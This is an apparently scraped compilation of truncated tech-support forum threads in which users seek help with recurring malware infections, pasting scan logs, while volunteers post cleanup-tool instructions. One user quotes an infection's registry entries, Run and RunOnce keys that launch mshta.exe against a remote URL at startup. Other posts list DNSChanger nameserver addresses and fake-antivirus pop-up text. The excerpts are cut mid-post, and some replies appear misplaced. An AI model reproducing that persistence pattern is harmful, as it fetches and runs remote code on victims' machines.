O2 - BHO: Spybot-S&D IE Protection - {53707962-6F74-2D53-2644-206D7942484F} - C:\PROGRA~1\SPYBOT~1\SDHelper.... Read more

Answer:Keeps Coming Back

Hello and Welcome. Please subscribe to this thread to get immediate notification of replies as soon as they are posted. To do this click Thread Tools, then click Subscribe to this Thread. Make sure it is set to Instant Notification, then click Subscribe.

---------------------------------------------------------------------------------------------

If you still require assistance with this issue, please do this:
Download RSIT by random/random and save it to your desktop.
Double click RSIT.exe to start the tool and click Continue at the disclaimer.
When the scan completes it will open a log named log.txt maximized, and a log named info.txt minimized.
Copy (Ctrl+A then Ctrl+C) and paste (Ctrl+V) the contents of log.txt here.
Please attach info.txt to your post.
To attach a file to a new post, simplyClick the[Manage Attachments] button under Additional Options > Attach Files on the post composition page, and
copy and paste the following into the "Upload File from your Computer" box:C:\rsit\info.txt

Click Upload.

---------------------------------------------------------------------------------------------

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This is my second attempt at help. I failed my first time and after reading the preparation guide here I am. I tried fixing it myself and loading MBAM and it says I have an infected regestry value, (Trojan.Agent) When I run the MBAM it says my computer must reboot to fix. It does, but then I have the same infection. I am confused, frustrated, and not really sure now what I am doing. Thankfully there are those here that can help...I am humbled.

Here is my DDS.txt
DDS (Ver_09-03-16.01) - NTFSx86
Run by Owner at 16:10:46.34 on Tue 03/31/2009
Internet Explorer: 7.0.5730.13
Microsoft Windows XP Home Edition 5.1.2600.3.1252.1.1033.18.511.186 [GMT -4:00]

AV: Avira AntiVir PersonalEdition *On-access scanning enabled* (Updated)

============== Running Processes ===============

C:\WINNT\system32\svchost -k DcomLaunch
svchost.exe
C:\WINNT\System32\svchost.exe -k netsvcs
C:\WINNT\system32\svchost.exe -k WudfServiceGroup
svchost.exe
C:\Program Files\Lavasoft\Ad-Aware\AAWService.exe
C:\WINNT\system32\spoolsv.exe
C:\Program Files\Avira\AntiVir PersonalEdition Classic\sched.exe
C:\WINNT\Explorer.EXE
C:\Program Files\Microsoft IntelliPoint\point32.exe
C:\WINNT\system32\ezSP_Px.exe
C:\Program Files\Avira\AntiVir PersonalEdition Classic\avgnt.exe
C:\Program Files\Lavasoft\Ad-Aware\AAWTray.exe
C:\WINNT ... Read more

Answer:Not sure what I have...but it keeps coming back

Welcome to the BleepingComputer Forums. Since it has been a few days since you scanned your computer with HijackThis, we will need a new HijackThis log. If you have not already downloaded Random's System Information Tool (RSIT), please download Random's System Information Tool (RSIT) by random/random which includes a HijackThis log and save it to your desktop. If you have RSIT already on your computer, please run it again. Double click on RSIT.exe to run RSIT. Click Continue at the disclaimer screen. Please post the contents of log.txt. Thank you for your patience.Please see Preparation Guide for use before posting about your potential Malware problem. If you have already posted this log at another forum or if you decide to seek help at another forum, please let us know. There is a shortage of helpers and taking the time of two volunteer helpers means that someone else may not be helped. Please post your HijackThis log as a reply to this thread and not as an attachment. I am always leery of opening attachments so I always request that HijackThis logs are to be posted as a reply to the thread. I do not think that you are attaching anything scary but others may do so. While we are working on your HijackThis log, please: Reply to this thread; do not start another! Do not make any changes on your computer during the cleaning process or download/add programs on your computer unless instructed to do so. Do not run any other tool until ... Read more

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Here is my dilemna:

I've run Kazaabegone, CWShredder, Spybot and Adware with new updates and reboots in between. I've run Hijack This and removed what I knew to be suspicious files in safe mode. But one:

O10 - Hijacked Internet access by New.Net
O10 - Hijacked Internet access by New.Net
O10 - Hijacked Internet access by New.Net
O10 - Hijacked Internet access by New.Net

keeps reappearing on the HJT log after rebooting. I know I'm missing something; just don't know what.

Here is the entire log:

Logfile of HijackThis v1.97.7
Scan saved at 8:04:28 PM, on 2/1/2004
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\cisvc.exe
c:\PROGRA~1\mcafee.com\vso\mcvsrte.exe
C:\PROGRA~1\McAfee.com\PERSON~1\MPFSERVICE.exe
C:\WINDOWS\wanmpsvc.exe
c:\PROGRA~1\mcafee.com\vso\mcshield.exe
C:\PROGRA~1\McAfee.com\PERSON~1\MpfAgent.exe
c:\program files\mcafee.com\agent\mcagent.exe
C:\WINDOWS\System32\hkcmd.exe
C:\Program Files\MUSICMATCH\MUSICMATCH Jukebox\mm_tray.exe
C:\Program Files\Roxio\Easy CD Creator 5\DirectCD\DirectCD.exe
C:\PROGRA~1\mcafee.com\vso\mcvsshld.exe
C:\Program Files\Common Files\Dell\EUSW\Support.exe
C:\Program Files\EarthLink 5.0\Con... Read more

Answer:New.net keeps coming back

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2 nights ago i was surfing the next and i starting getting reports such as :

Windows has detected spyware infection!
It is recomended to use special antispyware tools to prevent data loss. Windows will now download and install the most up-to-date antispyware for you
Click here to protect your computer from spyware!

and

Warning! Potential Spyware Operation!
Your computer is making unauthorized copies of your system and
Internet files. Run full scan now to pervent any unathorised access
to your files! Click here to download spyware remover ...

i started getting a lot of popups trying to send me to a site calling cookingluck (f3.cookingluck.com, f5.cookingluck.com, f7.cookingluck.com,
f9.cookingluck.com) i close them before they can finish loading.

Now i didnt do the smartest thing and i downloaded one of the "anti-spyware" things they told me too. "system-defender". well thats about when everything went from bad to worse, shell.dll was giving me hell, wowfax.dll was messing up. The control panel icon also disapeared and anything i tried to do with the system it wouldnt let me..pretty much telling me i didnt have administrative privliges.

So i came on this site and saw the self help page and was looking it over and saw the the "SmitFraud and It's Variants Removal Instructions" section fit my problem to a T, so i followed the steps exactly as they are written. I also got rid of the system defender. When i rebooted into norma... Read more

Answer:It just keeps coming back.....

Hi and welcome to TSF.

My name is Iain and I will be helping you clean your system.

You may wish to Subscribe to this thread (Thread Tools > Subscribe to this thread) so that you are notified when you receive a reply.

Please read these instructions carefully and then print out or copy this page to Notepad in order to assist you when carrying out the fix. You should not have any open browsers or live internet connections when you are following the procedures below.

Note that the fix may take several posts. Please continue to respond to my instructions until I confirm that your logs are clean. Remember that although your symptoms may vanish, this does NOT mean that your system is clean.

If there is anything you don't understand, please ask BEFORE proceeding with the fixes.

Please ensure that you follow the instructions in the order I have them listed.
We'll begin with ComboFix. Please visit this webpage for download links, and instructions for running the tool: http://www.bleepingcomputer.com/comb...o-use-combofix
When the tool is finished, it will produce a report for you.
Please post C:\ComboFix.txt along with a new HijackThis log so we may continue cleaning the system.

NOTE: Combofix prevents autorun of all CDs, floppies and USB devices to assist with malware removal & increase security. If this is an issue or makes it difficult for you - please let me know.

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Sorry, I had run these scans before I found this forum. I need your expert help.Windows XP with svc pack 3 and all updates. I have been able to get around the malware by running a scan, deleting the infections and corrupt files, but they return at every start up.Latest routine I did was this:ComboFix, then re start; Temp File Cleaner; Malwarebytes, then re-start. Infection still returns.Thursday, AV suite suddenly loaded, I received several cmd line boxes that looked strange and then all Google searches got redirected to shopping sites. Other symptoms are standard stuff, have to re-name anti malware to get it to run, several tries to go to correct site from google, etc.TDSSkiller has been run, GEMR has been run; ComboFix has been run multiple times (logs saved and available); Malwarebytes run multiple time (logs available)ComboFix showsInfectedc:\winnt\system32\ernel32.dllc:\winnt\system32\spool\prtprocs\w32x86\17931u.dllc:\winnt\system32\spool\prtprocs\w32x86\5w555.dllMalWareBytes showsRegistry Data Items Infected:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\DhcpNameServer (Trojan.DNSChanger) -> Data: 93.188.162.221,93.188.166.201 -> Quarantined and deleted successfully.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\NameServer (Trojan.DNSChanger) -> Data: 93.188.162.221,93.188.166.201 ... Read more

Answer:DNSChanger keeps coming back

Hello and Welcome to the forums! My name is Gringo and I'll be glad to help you with your computer problems. Somethings to remember while we are working together.Do not run any other tool untill instructed to do so!Please Do not Attach logs or put in code boxes.Tell me about any problems that have occurred during the fix.Tell me of any other symptoms you may be having as these can help also.Do not run anything while running a fix.In the upper right hand corner of the topic you will see a button called Options. If you click on this in the drop-down menu you can choose Track this topic. By doing this and then choosing Immediate E-Mail notification and then clicking on Proceed you will be advised when we respond to your topic and facilitate the cleaning of your machine.We apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here.In order for me to see the status of the infection I will need a new set of logs to start with.Please print out or make a copy in notpad of any instructions given, as sometimes it is necessary to go offline and you will lose access to them.DeFogger: Please download DeFogger to your desktop.Double click DeFogger to run the tool. The ap... Read more

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Hello,

I believe I have a variation of the Zero Access Rootkit. It creates a file consrv.dll in the system32 directory. Hitmanpro has detected it and has tried to remove it, but it keeps reappearing.
Other symptoms have included the loss of internet connection (removing McAfee has resolved that issue). The windows firewall and service is completely missing and I have not been able to restore it. If left alone the system becomes unstable and I am forced to do a restore just to get it to boot.
I am running Windows 7 Home Prem 64 bit.
I have run the following without success Superantispyware, Malwarebytes, Spybot, rootkitbuster, Sophos, TDSSKiller, Kaspersky Rescue disk and a few others. All without success

I have attached the log files from DDS adn GMER. Although on GMER it would not let me check off most items (boxes were greyed out, I suspect it was because of the 64 bit OS).

I'm running out of ideas.... help...

Thanks,

Larry

Answer:Another zero access.... just keeps coming back...

Hi Larry! My secret agent name on the forums is SweetTech (you can call me Agent ST for short), it's a pleasure to meet you. I would be glad to take a look at your log and help you with solving any malware problems.If you have since resolved the issues you were originally experiencing, or have received help elsewhere, please inform me so that this topic can be closed. If you have not, please adhere to the guidelines below and then follow instructions as outlined further below:Logs from malware removal programs (OTL is one of them) can take some time to analyze. I need you to be patient while I analyze any logs you post. Please remember, I am a volunteer, and I do have a life outside of these forums.
Please make sure to carefully read any instruction that I give you. Attention to detail is important! Since I cannot see or directly interact with your computer I am dependent on you to "be my eyes" and provide as much information as you can regarding the current state of your computer.
If you're not sure, or if something unexpected happens, do NOT continue! Stop and ask!
In Windows Vista and Windows 7, all tools need to be started by right clicking and selecting Run as Administrator!
If I instruct you to download a specific tool in which you already have, please delete the copy that you have and re-download the tool. The reason I ask you to do this is because these tools are updated fairly regularly.
... Read more

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Windows Malware Removal keeps removing two trojans everytime i start up.
They are Win/32/Tibs.IU and WinNT/Alureon.c

Also, when searching for stuff on google a lot of time links wil take me to pop-ups instead of the actual site.

I have attached my Hijackthis.
 

Answer:Tojans keep coming back

Welcome to Major Geeks!


Please follow the instructions in the READ & RUN ME FIRST link given futher down and attach the requested logs when you finish these instructions.
If you have problems where no tools seem to run, please try following the steps given in the below and then continue on no matter what you find. You only need to try the TDSSserv steps if having problems getting scans in the Read & Run Me First.

TDSSserv Non-Plug & Play Driver Disable

If something does not run, write down the info to explain to us later but keep on going.
Do not assume that because one step does not work that they all will not.
READ & RUN ME FIRST. Malware Removal Guide


Helpful Notes:

If you run into problems trying to run the READ & RUN ME or any of the scans in normal boot mode. You can run steps in safe boot mode but make sure you tell us what you did later when you post logs. See the below if you do not know how to boot in safe mode:
Starting your computer in Safe mode

If you have problems downloading on the problem PC, download the tools and the manual updates for SUPERAntiSpyware, Malwarebytes and Spybot ( links are given in the READ & RUN ME) onto another PC and then burn to a CD. Then copy them to the problem PC. You will have to skip getting updates if (and only if) your internet connection does not work. Yes you could use a flash drive too but flash drives are writeable and infections can spread to them.
To avoid addtional delay in gettin... Read more

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Hi - I recently got infected with a virus that added options to my toolbar (Fresh Search) which I managed to fix thanks to the help I saw posted here, but I still keep getting pop-ups and infections - SearchToolbar, Spyware.Msnagent and DownLoader.Trojan being the most recent. None of the anti-spyware, pop-up blockers or anti virus programs I have can stop the reinfections.

I have gone into safe made, used CWShredder, CClean, Kill2Me, HSRemove and Stinger. Also RAVAntivirus online scan, Bitdefender online scan, AdAware SEplus and Norton Antivrus. I used Silent Runners and found some suspect entries, which I edited out of the registry using Registrar Lite, and I used Hijack This to find and fix some other suspicious entries.

But they all keep coming back, in one form or another. Not crippling like before, but really annoying!

Below is a recent Silent Runners report, followed by a HiJack This report:


"Silent Runners.vbs", revision 40.1, http://www.silentrunners.org/
Operating System: Windows 2000
Output limited to non-default values, except where indicated by "{++}"
Startup items buried in registry:
---------------------------------

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ {++}
"internat.exe" = "internat.exe" [MS]
"NvMediaCenter" = "RUNDLL32.EXE D:\WINNT\System32\NVMCTRAY.DLL,NvTaskbarInit" [MS]
"NBJ" = ""D:\Program Files\Ahead\Nero BackItUp\NBJ.exe"" ["Ahead So... Read more

Answer:Virus Keeps Coming Back

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I accidentally installed trovi and after spending hours trying to remove it I think its mostly gone, hoever every time I run a scan it still shows up as a threat even though I can no longer see it in my browser. I've followed the guide and have no idea where to go from here so and help would be greatly appreciated.
 

Answer:Trovi Keeps Coming Back!

Hello,
Before we start please note the following:

Analysis and research take some time, also sometimes real life gets in the way, please be patient.
Limit your internet access to posting here, some infections just wait to steal typed-in passwords.
Don't run any scripts or tools on your own, unsupervised usage may cause more harm than good.
Do not paste the logs in your posts, attachments make my work easier. There is a Upload a File button which you can use to attach your reports. Attach all reports.
Stay with me to the end, the absence of symptoms doesn't mean that your machine is fully operational.
Note that we may live in totally different time zones, what may cause some delays between answers.

I can't foresee everything, so if anything unexpected happens, please stop and inform me!
There are no silly questions. Never be afraid to ask if in doubt!
Fix with Farbar Recovery Scan Tool

This fix was created for this user for use on that particular machine.
Running it on another one may cause damage and render the system unstable. ​
Download attached fixlist.txt file and save it to the Desktop:

Both files, FRST and fixlist.txt have to be in the same location or the fix will not work!
Right-click on icon and select Run as Administrator to start the tool.
(XP users click run after receipt of Windows Security Warning - Open File).
Press the Fix button just once and wait.
If for some reason the tool needs a restart, please make sure you l... Read more

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I've been working on a user's laptop (Win XP SP3) that wouldn't boot, even into safe mode. I ran a windows repair from a Win SP SP3 installation CD, which allowed me to at least get into safe mode. There I found several trojans and viruses, including (these are Symantec names) Trojan.FakeAV!gen29, W32.Harakit, Trojan.Gen, Trojan.FakeAV. After cleaning, Malwarebytes found registry entries for Hijack.FolderOptions and Trojan.Agent. Finally satisfied that the system was clean, I restored the drivers and downloaded and installed all the Windows updates. Both processes required several reboots. I then returned the laptop to the user. Unfortunately, I made the mistake of not running final scans of the system first. But there had been no symptoms during the system restoration, so I was lulled into what was obviously a false sense of security.

Immediately after booting the system the next day, he got an alert from Symantec AV about two infected files: DWH9F.tmp and DWH1E.tmp, both in his profile's Local Settings\Temp folder. They were identified only as "Trojans" - no specifics. He was not yet connected to the internet and had no external devices attached. Laptop back to me. Malwarebytes found two infected registry items: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost (Trojan.Agent) and HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\load (Trojan.Agent).

I'm conc... Read more

Answer:Trojan(s?) Keep Coming Back

Hello and welcome to Bleeping Computer We apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here. If you have since resolved the original problem you were having, we would appreciate you letting us know. If not please perform the following steps below so we can have a look at the current condition of your machine. If you have not done so, include a clear description of the problems you're having, along with any steps you may have performed so far. Upon completing the steps below another staff member will review your topic an do their best to resolve your issues. If you have already posted a DDS log, please do so again, as your situation may have changed. Use the 'Add Reply' and add the new log to this thread. Thanks and again sorry for the delay. We need to see some information about what is happening in your machine. Please perform the following scan:Download DDS by sUBs from one of the following links. Save it to your desktop.DDS.scr DDS.pifDouble click on the DDS icon, allow it to run. A small box will open, with an explaination about the tool. No input is needed, the scan is running. Notepad will open with the results. Follow the instructions that... Read more

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Hello and Welcome to the forums! My name is Gringo and I'll be glad to help you with your computer problems. Somethings to remember while we are working together.Do not run any other tool untill instructed to do so!please Do not Attach logs or put in code boxes.Tell me about any problems that have occurred during the fix.Tell me of any other symptoms you may be having as these can help also.Do not run anything while running a fix.Do not run any other tool untill instructed to do so!Click on the Watch Topic Button and select Immediate Notification and click on proceed, this will help you to get notified faster when I have replied and make the cleaning process faster.Please print out or make a copy in notpad of any instructions given, as sometimes it is necessary to go offline and you will lose access to them.For x64 bit systems download Farbar Recovery Scan Tool x64 and save it to a flash drive. Plug the flashdrive into the infected PC. Enter System Recovery Options. To enter System Recovery Options from the Advanced Boot Options: Restart the computer. As soon as the BIOS is loaded begin tapping the F8 key until Advanced Boot Options appears. Use the arrow keys to select the Repair your computer menu item. Select US as the keyboard language settings, and then click Next. Select the operating system you want to repair, and then click Next. Select your user account an click Next. To enter System Recovery Options by using Windows installation disc: Insert the ... Read more

Answer:consrv.dll keeps coming back

The forum said that the post was too long when I tried to paste it in, so I just attached the log file.

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I have a Dell Dimension 8400 running Windows XP SP3 and I installed a new hard drive (wiped). I had some issues installing drivers and I downloaded some sort of a "driver detective" program that (I think) infected my computer with all sorts of crap. I know, I know -- I'm an idiot.

I ran Spybot, AdAware, Malwarebytes, and HijackThis. I scanned, rescanned, cleaned, rebooted several times, etc. I was able to get rid of everything (I think) except for KBDNET.dll. I can't "fix" it through HIJACKTHIS and when I delete it through FileAssassin, it comes right back after restart.

My HijackThis log is below. Can anyone help me to get rid of KBDNET.dll once and for all? Thank you!!

JC

====
 

Answer:KBDNET.dll Keeps Coming Back - Help!

You have gone thru the cleaning process just a few months back. You should know that you need to do the READ & RUN ME FIRST. Malware Removal Guide
 

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Hi,

Having a problem with my laptop (64bit, Windows 7), A pop up always comes up during startup to a webpage and only has a close button. Ending mshta.exe in task manager seems to close it temporarily, but comes back after a few minutes. I've also noticed two (hidden) folders which are related to this under C:\Users, as i've not created these folders myself. One folder with an exe file called mshost.exe, a systemboot shortcut. The other with a RegWrite folder with the target: C:\Windows\System32\mshta.exe http://mrwiq.info/set_inf2.php?cccid=SCksjDDymdz0PiqvcwiQawJb8dH194dJ
and also a registry file which has the following:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"SystemBootSCksjDDymdz0PiqvcwiQawJb8dH194dJ"="mshta.exe http://mrwiq.info/reg2.php?cccid=SCksjDDymdz0PiqvcwiQawJb8dH194dJ"
"RegWriteSCksjDDymdz0PiqvcwiQawJb8dH194dJ"="mshta.exe http://mrwiq.info/set_inf2.php?cccid=SCksjDDymdz0PiqvcwiQawJb8dH194dJ"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"RegWriteSCksjDDymdz0PiqvcwiQawJb8dH194dJ"="REG IMPORT C:/Users/Vincent/SoftRecovery/datSCksjDDymdz0PiqvcwiQawJb8dH194dJ.reg"

Tried deleting the folders and ran Malwarebytes, it seemed to have picked up the folders as malware, but after removing/deleting them it just comes back after reboot
I've als... Read more

Answer:Pop up on desktop that keeps coming back

Hello and Welcome to Bleeping Computer!!My name is Gringo and I'll be glad to help you with your computer problems.I have put together somethings for you to keep in mind while I am helping you to make things go easier and faster for both of usPlease do not run any tools unless instructed to do so.
We ask you to run different tools in a specific order to ensure the malware is completely removed from your machine, and running any additional tools may detect false positives, interfere with our tools, or cause unforeseen damage or system instability.Please do not attach logs or use code boxes, just copy and paste the text.
Due to the high volume of logs we receive it helps to receive everything in the same format, and code boxes make the logs very difficult to read. Also, attachments require us to download and open the reports when it is easier to just read the reports in your post.Please read every post completely before doing anything.
Pay special attention to the NOTE: lines, these entries identify an individual issue or important step in the cleanup process.Please provide feedback about your experience as we go.
A short statement describing how the computer is working helps us understand where to go next, for example: I am still getting redirected, the computer is running normally, etc. Please do not describe the computer as "the same", this requires the extra step of looking back at your previous post.NOTE: At t... Read more

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I had this fake Antivirus Scan telling me that my computer was full of virus's. I ran Avast Antivirus and got rid of some stuff and ran Malwarebytes and got rid of alot more.

Problem came back within a few days. Did the same thing this week and the computer seems to be running ok for awhile and then more attacks.

Now I am even getting a "Generic Host Process for Win32 Services has encountered a problem error" every time I start up the computer and the error pops up throughout the session.

Below are the log files that were requested. I had to do the log programs in Safe Mode as the computer is much more stable in Safe Mode and my Firewall will not turn on in regular mode.

DDS (Ver_10-12-12.02) - NTFSx86 NETWORK
Run by Administrator at 14:57:31.00 on Sun 01/30/2011
Internet Explorer: 8.0.6001.18702 BrowserJavaVersion: 1.6.0_15
Microsoft Windows XP Home Edition 5.1.2600.3.1252.1.1033.18.478.84 [GMT -6:00]

AV: avast! Antivirus *Enabled/Updated* {7591DB91-41F0-48A3-B128-1A293FD8233D}
AV: McAfee VirusScan *Enabled/Updated* {84B5EE75-6421-4CDE-A33A-DD43BA9FAD83}
FW: McAfee Personal Firewall *Disabled*

============== Running Processes ===============

C:\WINDOWS\system32\svchost -k DcomLaunch
svchost.exe
C:\WINDOWS\system32\svchost.exe -k netsvcs
svchost.exe
svchost.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Internet Explorer\iexplore.exe
C:\Program Files\Internet Explorer\iexplore.ex... Read more

Answer:Seem to be infected with something that keeps coming back

Hello jeffw11, Welcome to Bleeping Computer.
My name is fireman4it and I will be helping you with your Malware problem.

Please take note of some guidelines for this fix:
Refrain from making any changes to your computer including installing/uninstall programs, deleting files, modifying the registry, and running scanners or tools.
If you do not understand any step(s) provided, please do not hesitate to ask before continuing.
Even if things appear to be better, it might not mean we are finished. Please continue to follow my instructions and reply back until I give you the "all clean".
Finally, please reply using the button in the lower right hand corner of your screen. Do not start a new topic. The logs that you post should be pasted directly into the reply, unless they do not fit into the post.1.Please download the TDSS Rootkit Removing Tool (TDSSKiller.exe) and save it to your Desktop. <-Important!!!Be sure to download TDSSKiller.exe (v2.4.0.0) from Kaspersky's website and not TDSSKiller.zip which appears to be an older version 2.3.2.2 of the tool.Double-click on TDSSKiller.exe to run the tool for known TDSS variants.
Vista/Windows 7 users right-click and select Run As Administrator.If TDSSKiller does not run, try renaming it. To do this, right-click on TDSSKiller.exe, select Rename and give it a random name with the .com file extension (i.e. 123abc.com). If you do not see the file extension, please refer to How to change the... Read more

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Looking for assistance in getting rid of gosave and similiar adware that keep coming back after uninstalling in chrome and restarting. Not sure what to do next,
 

Answer:GoSave and 1 other keep coming back

Hello,

They call me TwinHeadedEagle around here, and I'll be working with you.

Before we start please read and note the following:

At the top of your post, please click on the "Watch thread" button and make sure to check Watch this thread...and receive email notifications. This will send an email to you as soon as I reply to your topic, allowing me to solve your problem faster.
Please do not install any new software during the cleaning process other than the tools I provide for you. This can hinder the cleaning process. Please do not perform System Restore or any other restore.
Instructions I give to you are very simple and made for complete beginner to follow. That's why you need to read through my instructions carefully and completely before executing them.
Please do not run any tools other than the ones I ask you to, when I ask you to. Some of these tools can be very dangerous if used improperly. Also, if you use a tool that I have not requested you use, it can cause false positives, thereby delaying the complete cleaning of your machine.

All tools we use here are completely clean and do not contain any malware. If your antivirus detects them as malicious, please disable your antivirus and then continue.
If during the process you run across anything that is not in my instructions, please stop and ask. If any tool is running too much time (few hours), please stop and inform me.
I visit forum several times at day, making sure to respond to everyon... Read more

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My computer slows down as I open VLC player then when i look at the task manager, COM surrogate ates a lot of my computer's memory. I kept deleting all the com surrogate but it comes back on days that i open VLC player or any video/music player. The virus doesn't show when i don't open any player.
I've attached here the reports from farbar.
Anyone can help me on this. Thank you!
 

Answer:COM Surrogate keeps coming back

Hello,

They call me TwinHeadedEagle around here, and I'll be working with you.

Before we start please read and note the following:

At the top of your post, please click on the "Watch thread" button and make sure to check Watch this thread...and receive email notifications. This will send an email to you as soon as I reply to your topic, allowing me to solve your problem faster.
Please do not install any new software during the cleaning process other than the tools I provide for you. This can hinder the cleaning process. Please do not perform System Restore or any other restore.
Instructions I give to you are very simple and made for complete beginner to follow. That's why you need to read through my instructions carefully and completely before executing them.
Please do not run any tools other than the ones I ask you to, when I ask you to. Some of these tools can be very dangerous if used improperly. Also, if you use a tool that I have not requested you use, it can cause false positives, thereby delaying the complete cleaning of your machine.

All tools we use here are completely clean and do not contain any malware. If your antivirus detects them as malicious, please disable your antivirus and then continue.
If during the process you run across anything that is not in my instructions, please stop and ask. If any tool is running too much time (few hours), please stop and inform me.
I visit forum several times at day, making sure to respond to everyon... Read more

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I've run into a relentless little piece of malware called AdAntiHS which I have not been able to get rid of in a friend's computer. There's barely any information on it from credible sources online. It digs its claws into the startup programs on Windows (running Windows 7) and won't let go. Not sure what kind of damage it's doing either.
 
I've disabled it from startup using msconfig, manually deleted it, and even ran MalwareBytes from a USB using Hiren's BootCD and removed it. But after restarting the computer it shows back up at C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup. I've also deleted keys in the registry associated with AdAntiHS but to no avail upon restarting the computer. 
 
I noticed that upon deleting AdAntiHS from startup, a commonstartup file is created at C:\Windows\pss. I deleted that too. There is a registry key of appcompatCache which I understand is more like a reference or history of programs that have executed on the computer. Those are the only registry keys I have not deleted that make mention of AdAntiHS.
 
So far, I installed BitDefender on the computer which manages to catch AdAntiHS everytime on startup, but even though I choose to delete the quarantined item, it comes back again on restart. So at best, I quarantine it on startup but I want to be able to permanently get rid of it.
 
Has anyone else encountered this piece of malware and been able to wipe it from their system?
 
Thanks in advance fo... Read more

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I have run spysweeper several times and have removed zestyfind.com Hijack and search.com exe and they keep coming back what do I do? How do I get rid of this stuff?
 

Answer:Help - Zestyfind Etc Keeps Coming Back

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hello

I have a virus Worm_RBOT.BCQ found on file C:\windows\system32\micront.exe

I have followed to the letter the removal instruction by Trend

I have deleted the file, deleted all Registry reference to this file, deleted all temp files and Bin , all in safe mode..

The virus seems to have been deleted. but when I connect to the net, after a while , virus is detected and all is back to square one..

Please Help!! how can I get rid of this Virus forever....

Thanx
Jadan
 

Answer:virus keeps coming back

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Trojan horse downloader Generic13.BVUR keeps reappearing after deleting it in avg..Please find attached files as requested. Tech Support Guy System Info Utility version 1.0.0.2
OS Version: Microsoft Windows 7 Home Premium, Service Pack 1, 64 bit
Processor: AMD Athlon(tm) II X2 215 Processor, AMD64 Family 16 Model 6 Stepping 2
Processor Count: 2
RAM: 3839 Mb
Graphics Card: ATI Radeon HD 3200 Graphics, 256 Mb
Hard Drives: C: Total - 595439 MB, Free - 508533 MB;
Motherboard: Dell Inc., 0F896N
Antivirus: AVG Internet Security 2014, Updated and Enabled

DDS (Ver_2012-11-20.01) - NTFS_AMD64
Internet Explorer: BrowserJavaVersion: 10.51.2
Run by Wells at 11:36:29 on 2014-02-13
Microsoft Windows 7 Home Premium 6.1.7601.1.1252.1.1033.18.3839.2048 [GMT -8:00]
.
AV: AVG Internet Security 2014 *Enabled/Updated* {0E9420C4-06B3-7FA0-3AB1-6E49CB52ECD9}
SP: Windows Defender *Disabled/Updated* {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
SP: IObit Malware Fighter *Enabled/Updated* {A751AC20-3B48-5237-898A-78C4436BB78D}
SP: AVG Internet Security 2014 *Enabled/Updated* {B5F5C120-2089-702E-0001-553BB0D5A664}
FW: AVG Internet Security 2014 *Enabled* {36AFA1E1-4CDC-7EF8-11EE-C77C3581ABA2}
.
============== Running Processes ===============
.
C:\PROGRA~2\AVG\AVG2014\avgrsa.exe
C:\Program Files (x86)\AVG\AVG2014\avgcsrva.exe
C:\Windows\system32\lsm.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
C:\Program Files (x86)\IObit\Advanced SystemCare 7\ASCService.exe
C:\Windows\system32\svchost.exe -k RPCSS
C:\... Read more

Answer:Trojan keeps coming back.

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A week ago I got the Win 7 Antispyware virus. I ran a system restore to 3 days earlier, and for a while the computer ran normally. Then, 3 nights ago, the virus came back. Now, even if I do a system restore, the virus comes back in a day (interestingly always around 1-2 AM). It usually begins with a window popping up saying Adobe needs to update, even if I try to exit out of the screen, it just pops up again. Then right after the Win 7 virus activates.

.
DDS (Ver_2011-08-26.01) - NTFSAMD64
Internet Explorer: 9.0.8112.16421 BrowserJavaVersion: 1.6.0_26
Run by avkuznet at 14:52:30 on 2011-12-17
Microsoft Windows 7 Professional 6.1.7601.1.1252.1.1033.18.8182.5222 [GMT -5:00]
.
AV: Trend Micro OfficeScan Antivirus *Enabled/Updated* {7193B549-236F-55EE-9AEC-F65279E59A92}
SP: Trend Micro OfficeScan Anti-spyware *Enabled/Updated* {CAF254AD-0555-5A60-A05C-CD200262D02F}
SP: Windows Defender *Enabled/Updated* {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
.
============== Running Processes ===============
.
C:\Windows\system32\wininit.exe
C:\Windows\system32\lsm.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
C:\Windows\system32\nvvsvc.exe
C:\Windows\system32\svchost.exe -k RPCSS
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
C:\Windows\system32\svchost.exe -k netsvcs
C:\Program File... Read more

Answer:Win 7 AntiSpyware Keeps coming back.

